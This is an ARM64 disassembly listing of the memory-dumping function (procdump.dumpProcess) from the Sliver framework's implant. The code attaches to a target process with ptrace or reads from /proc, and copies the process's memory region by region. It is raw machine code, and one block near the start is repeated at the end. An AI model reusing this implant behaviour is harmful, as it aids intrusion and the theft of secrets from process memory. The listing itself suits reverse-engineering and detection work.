004290d8str x2, [x1]
004290dcldrsb x27, [x1]
004290e0ldr x2, [sp+816]
004290e4adrp x27, 0x622000
004290e8ldr w3, [x27+3056]
004290eccbz w3, 0x4290f4
004290f0b 0x4290f8
004290f4
004290f4loc_4290f4:
004290f4b 0x42910c
004290f8
004290f8loc_4290f8:
004290f8bl runtime.gcWriteBarrier2
004290fcstr x2, [x25]
00429100ldr x3, [x1+8]
00429104str x3, [x25+8]
00429108b 0x42910c
0042910c
0042910cloc_42910c:
0042910cstr x2, [x1+8]
00429110str x1, [sp+152]
00429114add x0, sp, 128
00429118bl runtime.deferprocStack
0042911csubs xzr, x0, 0
00429120b.ne 0x42914c
00429124b 0x429128
00429128
00429128loc_429128:
00429128ldr x5, [sp+384]
0042912cldr x6, [sp+376]
00429130ldr x7, [sp+392]
00429134str x6, [sp+752]
00429138str x5, [sp+760]
0042913cstr x7, [sp+768]
00429140str xzr, [sp+240]
00429144str x5, [sp+232]
00429148b 0x42916c
0042914c
0042914cloc_42914c:
0042914cbl runtime.deferreturn
00429150ldr x0, [sp+336]
00429154ldr x2, [sp+320]
00429158ldr x1, [sp+344]
0042915cldr x3, [sp+328]
00429160ldp x29, x30, [sp-8]
00429164add sp, sp, 960
00429168ret x30
0042916c
0042916cloc_42916c:
0042916cldr x5, [sp+232]
00429170ldr x6, [sp+240]
00429174subs xzr, x5, x6
00429178b.gt 0x429180
0042917cb 0x429364
00429180
00429180loc_429180:
00429180ldr x5, [sp+240]
00429184ldr x6, [sp+752]
00429188ldr x5, [x6+3*x5]
0042918cstr x5, [sp+360]
00429190ldrsb x27, [x5]
00429194ldrsb x27, [x5]
00429198ldr x6, [x5+8]
0042919cldr x5, [x5]
004291a0sub x5, x6, x5
004291a4str x5, [sp+80]
004291a8ldr x5, [sp+80]
004291acldr x6, [sp+104]
004291b0add x1, x6, x5
004291b4str x1, [sp+272]
004291b8ldr x5, [sp+352]
004291bcldrsb x27, [x5]
004291c0ldr x2, [x5+16]
004291c4ldr x5, [x5]
004291c8ldr x0, [sp+104]
004291ccsubs xzr, x2, x1
004291d0b.hs 0x4291d8
004291d4b 0x4293c0
004291d8
004291d8loc_4291d8:
004291d8subs xzr, x0, x1
004291dcb.ls 0x4291e4
004291e0b 0x4293bc
004291e4
004291e4loc_4291e4:
004291e4sub x6, x2, x0
004291e8sub x7, x1, x0
004291ecsub x8, xzr, x6
004291f0and x8, x0, x8, asr #63
004291f4add x5, x5, x8
004291f8str x5, [sp+728]
004291fcstr x7, [sp+736]
00429200str x6, [sp+744]
00429204add x27, sp, 784
00429208stp xzr, xzr, [x27]
0042920cldr x5, [sp+360]
00429210ldrsb x27, [x5]
00429214ldr x5, [x5]
00429218str x5, [sp+224]
0042921cldr x4, [sp+224]
00429220ldr x0, [sp+400]
00429224ldr x1, [sp+728]
00429228ldr x2, [sp+736]
0042922cldr x3, [sp+744]
00429230bl os.(*File).ReadAt
00429234str x0, [sp+280]
00429238str x1, [sp+784]
0042923cstr x2, [sp+792]
00429240ldr x5, [sp+280]
00429244str x5, [sp+296]
00429248str x1, [sp+800]
0042924cstr x2, [sp+808]
00429250ldr x5, [sp+296]
00429254str x5, [sp+112]
00429258str x1, [sp+416]
0042925cstr x2, [sp+424]
00429260subs xzr, x1, 0
00429264cset x5, ne
00429268strb w5, [sp+79]
0042926ccbnz x1, 0x429274
00429270b 0x4292b8
00429274
00429274loc_429274:
00429274ldr x5, [sp+416]
00429278adrp x27, 0x5f8000
0042927cldr x6, [x27+1520]
00429280subs xzr, x6, x5
00429284cset x5, ne
00429288b.ne 0x429290
0042928cb 0x429294
00429290
00429290loc_429290:
00429290b 0x4292b0
00429294
00429294loc_429294:
00429294ldr x0, [sp+416]
00429298ldr x1, [sp+424]
0042929cadrp x27, 0x5f8000
004292a0ldr x2, [x27+1528]
004292a4bl runtime.ifaceeq
004292a8eor x5, x0, 1
004292acb 0x4292b0
004292b0
004292b0loc_4292b0:
004292b0strb w5, [sp+79]
004292b4b 0x4292bc
004292b8
004292b8loc_4292b8:
004292b8b 0x4292bc
004292bc
004292bcloc_4292bc:
004292bcldrb w5, [sp+79]
004292c0tbnz w5, 0, 0x4292c8
004292c4b 0x429340
004292c8
004292c8loc_4292c8:
004292c8ldr x5, [sp+352]
004292ccstr x5, [sp+776]
004292d0adrp x0, 0x292000
004292d4add x0, x0, 3236
004292d8orr x1, xzr, 28
004292dcmov x2, xzr
004292e0mov x3, xzr
004292e4mov x4, x3
004292e8bl fmt.Errorf
004292ecstr x0, [sp+784]
004292f0str x1, [sp+792]
004292f4str x0, [sp+528]
004292f8str x1, [sp+536]
004292fcldr x5, [sp+776]
00429300adrp x6, 0x2ec000
00429304add x6, x6, 2016
00429308str x6, [sp+336]
0042930cstr x5, [sp+344]
00429310ldr x5, [sp+528]
00429314ldr x6, [sp+536]
00429318str x5, [sp+320]
0042931cstr x6, [sp+328]
00429320bl runtime.deferreturn
00429324ldr x0, [sp+336]
00429328ldr x2, [sp+320]
0042932cldr x1, [sp+344]
00429330ldr x3, [sp+328]
00429334ldp x29, x30, [sp-8]
00429338add sp, sp, 960
0042933cret x30
00429340
00429340loc_429340:
00429340ldr x5, [sp+112]
00429344ldr x6, [sp+104]
00429348add x5, x6, x5
0042934cstr x5, [sp+104]
00429350b 0x429354
00429354
00429354loc_429354:
00429354ldr x5, [sp+240]
00429358add x5, x5, 1
0042935cstr x5, [sp+240]
00429360b 0x42916c
00429364
00429364loc_429364:
00429364b 0x429368
00429368
00429368loc_429368:
00429368ldr x0, [sp+352]
0042936cstr x0, [sp+776]
00429370add x27, sp, 512
00429374stp xzr, xzr, [x27]
00429378ldr x0, [sp+776]
0042937cadrp x1, 0x2ec000
00429380add x1, x1, 2016
00429384str x1, [sp+336]
00429388str x0, [sp+344]
0042938cldr x0, [sp+512]
00429390ldr x1, [sp+520]
00429394str x0, [sp+320]
00429398str x1, [sp+328]
0042939cbl runtime.deferreturn
004293a0ldr x0, [sp+336]
004293a4ldr x2, [sp+320]
004293a8ldr x1, [sp+344]
004293acldr x3, [sp+328]
004293b0ldp x29, x30, [sp-8]
004293b4add sp, sp, 960
004293b8ret x30
004293bc
004293bcloc_4293bc:
004293bcbl runtime.panicSliceB
004293c0
004293c0loc_4293c0:
004293c0bl runtime.panicSliceAcap
004293c4
004293c4loc_4293c4:
004293c4ldr x5, [sp+256]
004293c8ldr x6, [sp+264]
004293ccsubs xzr, x5, x6
004293d0b.gt 0x4293d8
004293d4b 0x429560
004293d8
004293d8loc_4293d8:
004293d8ldr x5, [sp+264]
004293dcldr x6, [sp+752]
004293e0ldr x5, [x6+3*x5]
004293e4str x5, [sp+368]
004293e8ldrsb x27, [x5]
004293ecldrsb x27, [x5]
004293f0ldr x6, [x5+8]
004293f4ldr x5, [x5]
004293f8sub x5, x6, x5
004293fcstr x5, [sp+88]
00429400ldr x5, [sp+88]
00429404ldr x6, [sp+104]
00429408add x1, x6, x5
0042940cstr x1, [sp+280]
00429410ldr x5, [sp+352]
00429414ldrsb x27, [x5]
00429418ldr x2, [x5+16]
0042941cldr x5, [x5]
00429420ldr x0, [sp+104]
00429424subs xzr, x2, x1
00429428b.hs 0x429430
0042942cb 0x429694
00429430
00429430loc_429430:
00429430subs xzr, x0, x1
00429434b.ls 0x42943c
00429438b 0x429690
0042943c
0042943cloc_42943c:
0042943csub x6, x2, x0
00429440sub x7, x1, x0
00429444sub x8, xzr, x6
00429448and x8, x0, x8, asr #63
0042944cadd x5, x5, x8
00429450str x5, [sp+728]
00429454str x7, [sp+736]
00429458str x6, [sp+744]
0042945cadd x27, sp, 784
00429460stp xzr, xzr, [x27]
00429464ldr x5, [sp+368]
00429468ldrsb x27, [x5]
0042946cldr x5, [x5]
00429470str x5, [sp+248]
00429474ldr x1, [sp+248]
00429478ldr x2, [sp+728]
0042947cldr x3, [sp+736]
00429480ldr x4, [sp+744]
00429484ldrsw x5, [sp+968]
00429488mov x0, x5
0042948cbl syscall.PtracePeekData
00429490str x0, [sp+272]
00429494str x1, [sp+784]
00429498str x2, [sp+792]
0042949cldr x5, [sp+272]
004294a0str x5, [sp+304]
004294a4str x1, [sp+848]
004294a8str x2, [sp+856]
004294acldr x5, [sp+304]
004294b0str x5, [sp+120]
004294b4str x1, [sp+448]
004294b8str x2, [sp+456]
004294bccbnz x1, 0x4294c4
004294c0b 0x42953c
004294c4
004294c4loc_4294c4:
004294c4ldr x5, [sp+352]
004294c8str x5, [sp+776]
004294ccadrp x0, 0x292000
004294d0add x0, x0, 3236
004294d4orr x1, xzr, 28
004294d8mov x2, xzr
004294dcmov x3, xzr
004294e0mov x4, x3
004294e4bl fmt.Errorf
004294e8str x0, [sp+784]
004294ecstr x1, [sp+792]
004294f0str x0, [sp+632]
004294f4str x1, [sp+640]
004294f8ldr x5, [sp+776]
004294fcadrp x6, 0x2ec000
00429500add x6, x6, 2016
00429504str x6, [sp+336]
00429508str x5, [sp+344]
0042950cldr x5, [sp+632]
00429510ldr x6, [sp+640]
00429514str x5, [sp+320]
00429518str x6, [sp+328]
0042951cbl runtime.deferreturn
00429520ldr x0, [sp+336]
00429524ldr x2, [sp+320]
00429528ldr x1, [sp+344]
0042952cldr x3, [sp+328]
00429530ldp x29, x30, [sp-8]
00429534add sp, sp, 960
00429538ret x30
0042953c
0042953cloc_42953c:
0042953cldr x5, [sp+120]
00429540ldr x6, [sp+104]
00429544add x5, x6, x5
00429548str x5, [sp+104]
0042954cb 0x429550
00429550
00429550loc_429550:
00429550ldr x5, [sp+264]
00429554add x5, x5, 1
00429558str x5, [sp+264]
0042955cb 0x4293c4
00429560
00429560loc_429560:
00429560ldrsw x2, [sp+968]
00429564mov x0, x2
00429568movz x1, 18
0042956cbl syscall.Kill
00429570str x0, [sp+464]
00429574str x1, [sp+472]
00429578cbnz x0, 0x429580
0042957cb 0x4295f8
00429580
00429580loc_429580:
00429580ldr x5, [sp+352]
00429584str x5, [sp+776]
00429588adrp x0, 0x2a6000
0042958cadd x0, x0, 3218
00429590movz x1, 82
00429594mov x2, xzr
00429598mov x3, xzr
0042959cmov x4, x3
004295a0bl fmt.Errorf
004295a4str x0, [sp+784]
004295a8str x1, [sp+792]
004295acstr x0, [sp+616]
004295b0str x1, [sp+624]
004295b4ldr x5, [sp+776]
004295b8adrp x6, 0x2ec000
004295bcadd x6, x6, 2016
004295c0str x6, [sp+336]
004295c4str x5, [sp+344]
004295c8ldr x5, [sp+616]
004295ccldr x6, [sp+624]
004295d0str x5, [sp+320]
004295d4str x6, [sp+328]
004295d8bl runtime.deferreturn
004295dcldr x0, [sp+336]
004295e0ldr x2, [sp+320]
004295e4ldr x1, [sp+344]
004295e8ldr x3, [sp+328]
004295ecldp x29, x30, [sp-8]
004295f0add sp, sp, 960
004295f4ret x30
004295f8
004295f8loc_4295f8:
004295f8ldrsw x1, [sp+968]
004295fcmov x0, x1
00429600bl syscall.PtraceDetach
00429604str x0, [sp+464]
00429608str x1, [sp+472]
0042960ccbnz x0, 0x429614
00429610b 0x42968c
00429614
00429614loc_429614:
00429614ldr x5, [sp+352]
00429618str x5, [sp+776]
0042961cadrp x0, 0x2a7000
00429620add x0, x0, 621
00429624movz x1, 85
00429628mov x2, xzr
0042962cmov x3, xzr
00429630mov x4, x3
00429634bl fmt.Errorf
00429638str x0, [sp+784]
0042963cstr x1, [sp+792]
00429640str x0, [sp+600]
00429644str x1, [sp+608]
00429648ldr x5, [sp+776]
0042964cadrp x6, 0x2ec000
00429650add x6, x6, 2016
00429654str x6, [sp+336]
00429658str x5, [sp+344]
0042965cldr x5, [sp+600]
00429660ldr x6, [sp+608]
00429664str x5, [sp+320]
00429668str x6, [sp+328]
0042966cbl runtime.deferreturn
00429670ldr x0, [sp+336]
00429674ldr x2, [sp+320]
00429678ldr x1, [sp+344]
0042967cldr x3, [sp+328]
00429680ldp x29, x30, [sp-8]
00429684add sp, sp, 960
00429688ret x30
0042968c
0042968cloc_42968c:
0042968cb 0x429368
00429690
00429690loc_429690:
00429690bl runtime.panicSliceB
00429694
00429694loc_429694:
00429694bl runtime.panicSliceAcap
00429698hint
0042969c
0042969cloc_42969c:
0042969cstr w0, [sp+8]
004296a0mov x3, x30
004296a4bl runtime.morestack_noctxt.abi0
004296a8ldrsw x0, [sp+8]
004296acb 0x428a80
00428a80
00428a80github.com/bishopfox/sliver/implant/sliver/procdump.dumpProcess: ; void github.com/bishopfox/sliver/implant/sliver/procdump.dumpProcess(int32 pid)
00428a80ldr x16, [x28+16]
00428a84sub x17, sp, 832
00428a88subs xzr, x17, x16
00428a8cb.ls 0x42969c
00428a90sub x20, sp, 960
00428a94stp x29, x30, [x20-8]
00428a98add sp, x20, 0
00428a9csub x29, sp, 8
00428aa0str w0, [sp+968]
00428aa4stp xzr, xzr, [sp+336]
00428aa8stp xzr, xzr, [sp+320]
00428aacadrp x0, 0x201000
00428ab0add x0, x0, 3552
00428ab4bl runtime.newobject
00428ab8str x0, [sp+680]
00428abcstp xzr, xzr, [x0+8]
00428ac0adrp x27, 0x623000
00428ac4ldr w1, [x27+3056]
00428ac8cbz w1, 0x428ad0
00428accb 0x428ad4
00428ad0
00428ad0loc_428ad0:
00428ad0b 0x428ae4
00428ad4
00428ad4loc_428ad4:
00428ad4ldr x1, [x0]
00428ad8bl runtime.gcWriteBarrier1
00428adcstr x1, [x25]
00428ae0b 0x428ae4
00428ae4
00428ae4loc_428ae4:
00428ae4str xzr, [x0]
00428ae8ldr x0, [sp+680]
00428aecstr x0, [sp+352]
00428af0bl github.com/bishopfox/sliver/implant/sliver/procdump.isOldKernelVersion
00428af4strb w0, [sp+76]
00428af8add x27, sp, 784
00428afcstp xzr, xzr, [x27]
00428b00bl github.com/bishopfox/sliver/implant/sliver/procdump.checkPermissions
00428b04strb w0, [sp+79]
00428b08str x1, [sp+784]
00428b0cstr x2, [sp+792]
00428b10ldrb w0, [sp+79]
00428b14strb w0, [sp+78]
00428b18ldr x0, [sp+784]
00428b1cldr x1, [sp+792]
00428b20str x0, [sp+496]
00428b24str x1, [sp+504]
00428b28ldrb w0, [sp+78]
00428b2cstrb w0, [sp+77]
00428b30ldr x0, [sp+496]
00428b34ldr x1, [sp+504]
00428b38str x0, [sp+480]
00428b3cstr x1, [sp+488]
00428b40ldrb w0, [sp+77]
00428b44eor x1, x0, 1
00428b48strb w1, [sp+79]
00428b4ctbnz w0, 0, 0x428b54
00428b50b 0x428b68
00428b54
00428b54loc_428b54:
00428b54ldr x1, [sp+480]
00428b58subs xzr, x1, 0
00428b5ccset x1, ne
00428b60strb w1, [sp+79]
00428b64b 0x428b6c
00428b68
00428b68loc_428b68:
00428b68b 0x428b6c
00428b6c
00428b6cloc_428b6c:
00428b6cldrb w1, [sp+79]
00428b70tbnz w1, 0, 0x428b78
00428b74b 0x428bc0
00428b78
00428b78loc_428b78:
00428b78ldr x0, [sp+352]
00428b7cstr x0, [sp+776]
00428b80adrp x1, 0x2ed000
00428b84add x1, x1, 2016
00428b88str x1, [sp+336]
00428b8cstr x0, [sp+344]
00428b90ldr x0, [sp+480]
00428b94ldr x1, [sp+488]
00428b98str x0, [sp+320]
00428b9cstr x1, [sp+328]
00428ba0bl runtime.deferreturn
00428ba4ldr x0, [sp+336]
00428ba8ldr x2, [sp+320]
00428bacldr x1, [sp+344]
00428bb0ldr x3, [sp+328]
00428bb4ldp x29, x30, [sp-8]
00428bb8add sp, sp, 960
00428bbcret x30
00428bc0
00428bc0loc_428bc0:
00428bc0str xzr, [sp+752]
00428bc4add x27, sp, 760
00428bc8stp xzr, xzr, [x27]
00428bccadd x27, sp, 784
00428bd0stp xzr, xzr, [x27]
00428bd4ldrsw x0, [sp+968]
00428bd8bl github.com/bishopfox/sliver/implant/sliver/procdump.createMemoryMap
00428bdcstr x0, [sp+752]
00428be0str x1, [sp+760]
00428be4str x2, [sp+768]
00428be8str x3, [sp+288]
00428becstr x4, [sp+784]
00428bf0str x5, [sp+792]
00428bf4ldr x1, [sp+752]
00428bf8ldr x2, [sp+760]
00428bfcldr x3, [sp+768]
00428c00str x1, [sp+928]
00428c04str x2, [sp+936]
00428c08str x3, [sp+944]
00428c0cldr x1, [sp+288]
00428c10str x1, [sp+312]
00428c14ldr x1, [sp+784]
00428c18ldr x2, [sp+792]
00428c1cstr x1, [sp+912]
00428c20str x2, [sp+920]
00428c24ldr x1, [sp+928]
00428c28ldr x2, [sp+936]
00428c2cldr x3, [sp+944]
00428c30str x1, [sp+376]
00428c34str x2, [sp+384]
00428c38str x3, [sp+392]
00428c3cldr x1, [sp+312]
00428c40str x1, [sp+96]
00428c44ldr x1, [sp+920]
00428c48ldr x2, [sp+912]
00428c4cstr x2, [sp+480]
00428c50str x1, [sp+488]
00428c54cbnz x2, 0x428c5c
00428c58b 0x428ca4
00428c5c
00428c5cloc_428c5c:
00428c5cldr x0, [sp+352]
00428c60str x0, [sp+776]
00428c64adrp x1, 0x2ed000
00428c68add x1, x1, 2016
00428c6cstr x1, [sp+336]
00428c70str x0, [sp+344]
00428c74ldr x0, [sp+480]
00428c78ldr x1, [sp+488]
00428c7cstr x0, [sp+320]
00428c80str x1, [sp+328]
00428c84bl runtime.deferreturn
00428c88ldr x0, [sp+336]
00428c8cldr x2, [sp+320]
00428c90ldr x1, [sp+344]
00428c94ldr x3, [sp+328]
00428c98ldp x29, x30, [sp-8]
00428c9cadd sp, sp, 960
00428ca0ret x30
00428ca4
00428ca4loc_428ca4:
00428ca4ldr x2, [sp+96]
00428ca8ldr x1, [sp+96]
00428cacadrp x0, 0x1cd000
00428cb0add x0, x0, 3072
00428cb4bl runtime.makeslice
00428cb8ldr x3, [sp+96]
00428cbcldr x4, [sp+96]
00428cc0str x0, [sp+728]
00428cc4str x3, [sp+736]
00428cc8str x4, [sp+744]
00428cccldr x5, [sp+352]
00428cd0ldrsb x27, [x5]
00428cd4str x3, [x5+8]
00428cd8str x4, [x5+16]
00428cdcadrp x27, 0x623000
00428ce0ldr w3, [x27+3056]
00428ce4cbz w3, 0x428cec
00428ce8b 0x428cf0
00428cec
00428cecloc_428cec:
00428cecb 0x428d04
00428cf0
00428cf0loc_428cf0:
00428cf0bl runtime.gcWriteBarrier2
00428cf4str x0, [x25]
00428cf8ldr x2, [x5]
00428cfcstr x2, [x25+8]
00428d00b 0x428d04
00428d04
00428d04loc_428d04:
00428d04str x0, [x5]
00428d08str xzr, [sp+104]
00428d0cldrb w2, [sp+76]
00428d10tbnz w2, 0, 0x428d18
00428d14b 0x428fa0
00428d18
00428d18loc_428d18:
00428d18str xzr, [sp+720]
00428d1cadd x27, sp, 784
00428d20stp xzr, xzr, [x27]
00428d24ldrsw x1, [sp+968]
00428d28mov x0, x1
00428d2cbl os.FindProcess
00428d30str x0, [sp+720]
00428d34str x1, [sp+784]
00428d38str x2, [sp+792]
00428d3cldr x1, [sp+720]
00428d40str x1, [sp+904]
00428d44ldr x1, [sp+784]
00428d48ldr x2, [sp+792]
00428d4cstr x1, [sp+888]
00428d50str x2, [sp+896]
00428d54ldr x1, [sp+904]
00428d58str x1, [sp+408]
00428d5cldr x1, [sp+896]
00428d60ldr x2, [sp+888]
00428d64str x2, [sp+464]
00428d68str x1, [sp+472]
00428d6ccbnz x2, 0x428d74
00428d70b 0x428de4
00428d74
00428d74loc_428d74:
00428d74ldr x5, [sp+352]
00428d78str x5, [sp+776]
00428d7cadrp x0, 0x2a2000
00428d80add x0, x0, 4072
00428d84movz x1, 55
00428d88mov x2, xzr
00428d8cmov x3, xzr
00428d90mov x4, x3
00428d94bl fmt.Errorf
00428d98str x0, [sp+784]
00428d9cstr x1, [sp+792]
00428da0ldr x5, [sp+776]
00428da4adrp x6, 0x2ed000
00428da8add x6, x6, 2016
00428dacstr x6, [sp+336]
00428db0str x5, [sp+344]
00428db4ldr x5, [sp+784]
00428db8ldr x6, [sp+792]
00428dbcstr x5, [sp+320]
00428dc0str x6, [sp+328]
00428dc4bl runtime.deferreturn
00428dc8ldr x0, [sp+336]
00428dccldr x2, [sp+320]
00428dd0ldr x1, [sp+344]
00428dd4ldr x3, [sp+328]
00428dd8ldp x29, x30, [sp-8]
00428ddcadd sp, sp, 960
00428de0ret x30
00428de4
00428de4loc_428de4:
00428de4bl runtime.LockOSThread
00428de8adrp x0, 0x2b0000
00428decadd x0, x0, 1640
00428df0str x0, [sp+200]
00428df4add x0, sp, 176
00428df8bl runtime.deferprocStack
00428dfcsubs xzr, x0, 0
00428e00b.ne 0x428f80
00428e04b 0x428e08
00428e08
00428e08loc_428e08:
00428e08ldrsw x1, [sp+968]
00428e0cmov x0, x1
00428e10bl syscall.PtraceAttach
00428e14str x0, [sp+464]
00428e18str x1, [sp+472]
00428e1ccbnz x0, 0x428e24
00428e20b 0x428e9c
00428e24
00428e24loc_428e24:
00428e24ldr x5, [sp+352]
00428e28str x5, [sp+776]
00428e2cadrp x0, 0x295000
00428e30add x0, x0, 3455
00428e34orr x1, xzr, 31
00428e38mov x2, xzr
00428e3cmov x3, xzr
00428e40mov x4, x3
00428e44bl fmt.Errorf
00428e48str x0, [sp+784]
00428e4cstr x1, [sp+792]
00428e50str x0, [sp+664]
00428e54str x1, [sp+672]
00428e58ldr x5, [sp+776]
00428e5cadrp x6, 0x2ed000
00428e60add x6, x6, 2016
00428e64str x6, [sp+336]
00428e68str x5, [sp+344]
00428e6cldr x5, [sp+664]
00428e70ldr x6, [sp+672]
00428e74str x5, [sp+320]
00428e78str x6, [sp+328]
00428e7cbl runtime.deferreturn
00428e80ldr x0, [sp+336]
00428e84ldr x2, [sp+320]
00428e88ldr x1, [sp+344]
00428e8cldr x3, [sp+328]
00428e90ldp x29, x30, [sp-8]
00428e94add sp, sp, 960
00428e98ret x30
00428e9c
00428e9cloc_428e9c:
00428e9cstr xzr, [sp+712]
00428ea0add x27, sp, 784
00428ea4stp xzr, xzr, [x27]
00428ea8ldr x0, [sp+408]
00428eacbl os.(*Process).Wait
00428eb0str x0, [sp+712]
00428eb4str x1, [sp+784]
00428eb8str x2, [sp+792]
00428ebcldr x1, [sp+712]
00428ec0str x1, [sp+880]
00428ec4ldr x1, [sp+792]
00428ec8ldr x2, [sp+784]
00428eccstr x2, [sp+864]
00428ed0str x1, [sp+872]
00428ed4str x2, [sp+464]
00428ed8str x1, [sp+472]
00428edccbnz x2, 0x428ee4
00428ee0b 0x428f5c
00428ee4
00428ee4loc_428ee4:
00428ee4ldr x5, [sp+352]
00428ee8str x5, [sp+776]
00428eecadrp x0, 0x2a1000
00428ef0add x0, x0, 1158
00428ef4movz x1, 50
00428ef8mov x2, xzr
00428efcmov x3, xzr
00428f00mov x4, x3
00428f04bl fmt.Errorf
00428f08str x0, [sp+784]
00428f0cstr x1, [sp+792]
00428f10str x0, [sp+648]
00428f14str x1, [sp+656]
00428f18ldr x5, [sp+776]
00428f1cadrp x6, 0x2ed000
00428f20add x6, x6, 2016
00428f24str x6, [sp+336]
00428f28str x5, [sp+344]
00428f2cldr x5, [sp+648]
00428f30ldr x6, [sp+656]
00428f34str x5, [sp+320]
00428f38str x6, [sp+328]
00428f3cbl runtime.deferreturn
00428f40ldr x0, [sp+336]
00428f44ldr x2, [sp+320]
00428f48ldr x1, [sp+344]
00428f4cldr x3, [sp+328]
00428f50ldp x29, x30, [sp-8]
00428f54add sp, sp, 960
00428f58ret x30
00428f5c
00428f5cloc_428f5c:
00428f5cldr x5, [sp+384]
00428f60ldr x6, [sp+376]
00428f64ldr x7, [sp+392]
00428f68str x6, [sp+752]
00428f6cstr x5, [sp+760]
00428f70str x7, [sp+768]
00428f74str xzr, [sp+264]
00428f78str x5, [sp+256]
00428f7cb 0x4293c4
00428f80
00428f80loc_428f80:
00428f80bl runtime.deferreturn
00428f84ldr x0, [sp+336]
00428f88ldr x2, [sp+320]
00428f8cldr x1, [sp+344]
00428f90ldr x3, [sp+328]
00428f94ldp x29, x30, [sp-8]
00428f98add sp, sp, 960
00428f9cret x30
00428fa0
00428fa0loc_428fa0:
00428fa0ldrsw x2, [sp+968]
00428fa4mov x0, x2
00428fa8movz x1, 10
00428facbl strconv.FormatInt
00428fb0str x0, [sp+696]
00428fb4str x1, [sp+704]
00428fb8str xzr, [sp+688]
00428fbcadd x27, sp, 784
00428fc0stp xzr, xzr, [x27]
00428fc4ldr x3, [sp+696]
00428fc8ldr x4, [sp+704]
00428fccmov x0, xzr
00428fd0adrp x1, 0x288000
00428fd4add x1, x1, 2737
00428fd8orr x2, xzr, 6
00428fdcadrp x5, 0x288000
00428fe0add x5, x5, 1114
00428fe4orr x6, xzr, 4
00428fe8bl runtime.concatstring3
00428fecstr x0, [sp+584]
00428ff0str x1, [sp+592]
00428ff4bl os.Open
00428ff8str x0, [sp+688]
00428ffcstr x1, [sp+784]
00429000str x2, [sp+792]
00429004ldr x2, [sp+688]
00429008str x2, [sp+840]
0042900cldr x2, [sp+784]
00429010ldr x3, [sp+792]
00429014str x2, [sp+824]
00429018str x3, [sp+832]
0042901cldr x2, [sp+840]
00429020str x2, [sp+400]
00429024ldr x2, [sp+832]
00429028ldr x3, [sp+824]
0042902cstr x3, [sp+432]
00429030str x2, [sp+440]
00429034cbnz x3, 0x42903c
00429038b 0x4290b4
0042903c
0042903cloc_42903c:
0042903cldr x5, [sp+352]
00429040str x5, [sp+776]
00429044adrp x0, 0x293000
00429048add x0, x0, 2222
0042904cmovz x1, 29
00429050mov x2, xzr
00429054mov x3, xzr
00429058mov x4, x3
0042905cbl fmt.Errorf
00429060str x0, [sp+784]
00429064str x1, [sp+792]
00429068str x0, [sp+568]
0042906cstr x1, [sp+576]
00429070ldr x5, [sp+776]
00429074adrp x6, 0x2ec000
00429078add x6, x6, 2016
0042907cstr x6, [sp+336]
00429080str x5, [sp+344]
00429084ldr x5, [sp+568]
00429088ldr x6, [sp+576]
0042908cstr x5, [sp+320]
00429090str x6, [sp+328]
00429094bl runtime.deferreturn
00429098ldr x0, [sp+336]
0042909cldr x2, [sp+320]
004290a0ldr x1, [sp+344]
004290a4ldr x3, [sp+328]
004290a8ldp x29, x30, [sp-8]
004290acadd sp, sp, 960
004290b0ret x30
004290b4
004290b4loc_4290b4:
004290b4ldr x1, [sp+400]
004290b8str x1, [sp+816]
004290bcadd x27, sp, 544
004290c0stp xzr, xzr, [x27]
004290c4add x1, sp, 544
004290c8str x1, [sp+560]
004290ccldrsb x27, [x1]
004290d0adrp x2, 0
004290d4add x2, x2, 1712
004290d8str x2, [x1]
004290dcldrsb x27, [x1]
004290e0ldr x2, [sp+816]
004290e4adrp x27, 0x622000
004290e8ldr w3, [x27+3056]
004290eccbz w3, 0x4290f4
004290f0b 0x4290f8
004290f4
004290f4loc_4290f4:
004290f4b 0x42910c
004290f8
004290f8loc_4290f8:
004290f8bl runtime.gcWriteBarrier2
004290fcstr x2, [x25]
00429100ldr x3, [x1+8]
00429104str x3, [x25+8]
00429108b 0x42910c
0042910c
0042910cloc_42910c:
0042910cstr x2, [x1+8]
00429110str x1, [sp+152]
00429114add x0, sp, 128
00429118bl runtime.deferprocStack
0042911csubs xzr, x0, 0
00429120b.ne 0x42914c
00429124b 0x429128
00429128
00429128loc_429128:
00429128ldr x5, [sp+384]
0042912cldr x6, [sp+376]
00429130ldr x7, [sp+392]
00429134str x6, [sp+752]
00429138str x5, [sp+760]
0042913cstr x7, [sp+768]
00429140str xzr, [sp+240]
00429144str x5, [sp+232]
00429148b 0x42916c
0042914c
0042914cloc_42914c:
0042914cbl runtime.deferreturn
00429150ldr x0, [sp+336]
00429154ldr x2, [sp+320]
00429158ldr x1, [sp+344]
0042915cldr x3, [sp+328]
00429160ldp x29, x30, [sp-8]
00429164add sp, sp, 960
00429168ret x30
0042916c
0042916cloc_42916c:
0042916cldr x5, [sp+232]
00429170ldr x6, [sp+240]
00429174subs xzr, x5, x6
00429178b.gt 0x429180
0042917cb 0x429364
00429180
00429180loc_429180:
00429180ldr x5, [sp+240]
00429184ldr x6, [sp+752]
00429188ldr x5, [x6+3*x5]
0042918cstr x5, [sp+360]
00429190ldrsb x27, [x5]
00429194ldrsb x27, [x5]
00429198ldr x6, [x5+8]
0042919cldr x5, [x5]
004291a0sub x5, x6, x5
004291a4str x5, [sp+80]
004291a8ldr x5, [sp+80]
004291acldr x6, [sp+104]
004291b0add x1, x6, x5
004291b4str x1, [sp+272]
004291b8ldr x5, [sp+352]
004291bcldrsb x27, [x5]
004291c0ldr x2, [x5+16]
004291c4ldr x5, [x5]
004291c8ldr x0, [sp+104]
004291ccsubs xzr, x2, x1
004291d0b.hs 0x4291d8
004291d4b 0x4293c0
004291d8
004291d8loc_4291d8:
004291d8subs xzr, x0, x1
004291dcb.ls 0x4291e4
004291e0b 0x4293bc
004291e4
004291e4loc_4291e4:
004291e4sub x6, x2, x0
004291e8sub x7, x1, x0
004291ecsub x8, xzr, x6
004291f0and x8, x0, x8, asr #63
004291f4add x5, x5, x8
004291f8str x5, [sp+728]
004291fcstr x7, [sp+736]
00429200str x6, [sp+744]
00429204add x27, sp, 784
00429208stp xzr, xzr, [x27]
0042920cldr x5, [sp+360]
00429210ldrsb x27, [x5]
00429214ldr x5, [x5]
00429218str x5, [sp+224]
0042921cldr x4, [sp+224]
00429220ldr x0, [sp+400]
00429224ldr x1, [sp+728]
00429228ldr x2, [sp+736]
0042922cldr x3, [sp+744]
00429230bl os.(*File).ReadAt
00429234str x0, [sp+280]
00429238str x1, [sp+784]
0042923cstr x2, [sp+792]
00429240ldr x5, [sp+280]
00429244str x5, [sp+296]
00429248str x1, [sp+800]
0042924cstr x2, [sp+808]
00429250ldr x5, [sp+296]
00429254str x5, [sp+112]
00429258str x1, [sp+416]
0042925cstr x2, [sp+424]
00429260subs xzr, x1, 0
00429264cset x5, ne
00429268strb w5, [sp+79]
